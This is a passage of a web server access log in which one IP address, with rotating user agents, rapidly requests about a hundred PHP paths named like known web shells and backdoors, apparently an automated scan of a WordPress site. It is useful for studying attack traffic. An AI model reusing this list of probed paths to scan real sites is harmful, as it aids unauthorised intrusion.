[05/Feb/2026:07:03:59 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:00 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:00 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:00 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:01 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:01 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:02 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:02 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:02 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:03 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:03 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:04:03 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:04:04 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:04 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:04 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:05 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:05 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:05 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:06 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:06 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:07 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:07 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:07 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:04:08 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:08 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:08 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:09 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:09 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:09 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:10 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:10 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:10 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:11 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:11 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:11 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:11 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:12 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:12 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:13 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:04:13 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:13 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:14 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:04:14 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:14 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:15 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:15 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:15 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:16 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:16 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:16 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:17 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:04:17 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:17 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:17 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:18 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:04:18 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:19 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:19 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:19 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:20 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:20 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:21 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:21 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:21 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:22 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:22 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:04:22 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:23 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:04:23 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:23 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:04:24 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:24 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:24 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:25 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:25 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:26 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:26 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:27 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:27 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:27 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:04:28 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:04:28 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:28 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:29 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:29 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:04:29 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:30 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:30 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:30 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:31 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:31 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:31 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:32 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:32 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:32 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:33 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:33 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:33 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:34 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:04:34 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:35 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:36 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:36 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:04:36 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:37 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:37 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:37 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:38 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:38 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 